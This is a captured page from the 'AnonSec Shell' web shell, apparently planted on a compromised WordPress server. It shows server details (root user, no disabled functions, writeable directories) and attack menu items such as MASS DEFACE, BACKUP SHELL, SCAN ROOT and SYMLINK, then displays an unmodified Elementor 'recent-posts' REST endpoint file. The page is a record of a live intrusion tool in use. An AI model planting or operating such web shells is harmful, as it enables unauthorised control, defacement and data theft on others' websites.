AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.145.71.191   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/elementor/modules/site-navigation/data/endpoints/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/elementor/modules/site-navigation/data/endpoints/recent-posts.php
<?php

namespace Elementor\Modules\SiteNavigation\Data\Endpoints;

use Elementor\Core\Base\Document;
use Elementor\Core\Kits\Documents\Kit;
use Elementor\Data\V2\Base\Endpoint;
use Elementor\Plugin;
use Elementor\TemplateLibrary\Source_Local;
use Elementor\Utils;
use WP_REST_Server;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Recent_Posts extends Endpoint {

	public function register_items_route( $methods = WP_REST_Server::READABLE, $args = [] ) {
		$args = [
			'posts_per_page' => [
				'description' => 'Number of posts to return',
				'type' => 'integer',
				'required' => true,
				'sanitize_callback' => 'absint',
				'validate_callback' => 'rest_validate_request_arg',
			],
			'post_type' => [
				'description' => 'Post types to retrieve',
				'type' => 'array',
				'required' => false,
				'default' => [ 'page', 'post', Source_Local::CPT ],
				'sanitize_callback' => 'rest_sanitize_array',
				'validate_callback' => 'rest_validate_request_arg',
			],
			'post__not_in' => [
				'description' => 'Post id`s to exclude',
				'type' => 'array',
				'required' => [],
				'sanitize_callback' => 'wp_parse_id_list',
				'validate_callback' => 'rest_validate_request_arg',
			],
		];

		parent::register_items_route( $methods, $args );
	}

	public function get_name() {
		return 'recent-posts';
	}

	public function get_format() {
		return 'site-navigation/recent-posts';
	}

	public function get_items( $request ) {
		$args = [
			'posts_per_page' => $request->get_param( 'posts_per_page' ),
			'post_type' => $request->get_param( 'post_type' ),
			'fields' => 'ids',
			'meta_query' => [
				[
					'key' => Document::TYPE_META_KEY,
					'value' => Kit::get_type(), // Exclude kits.
					'compare' => '!=',
				],
			],
		];

		$exclude = $request->get_param( 'post__not_in' );

		if ( ! empty( $exclude ) ) {
			$args['post__not_in'] = $exclude;
		}

		$recently_edited_query = Utils::get_recently_edited_posts_query( $args );

		$recent = [];

		foreach ( $recently_edited_query->posts as $id ) {
			$document = Plugin::$instance->documents->get( $id );

			$recent[] = [
				'id' => $id,
				'title' => get_the_title( $id ),
				'edit_url' => $document->get_edit_url(),
				'date_modified' => get_post_timestamp( $id, 'modified' ),
				'type' => [
					'post_type' => get_post_type( $id ),
					'doc_type' => $document->get_name(),
					'label' => $document->get_title(),
				],
				'user_can' => [
					'edit' => current_user_can( 'edit_post', $id ),
				],
			];
		}

		return $recent;
	}
}

Anon7 - 2022
AnonSec Team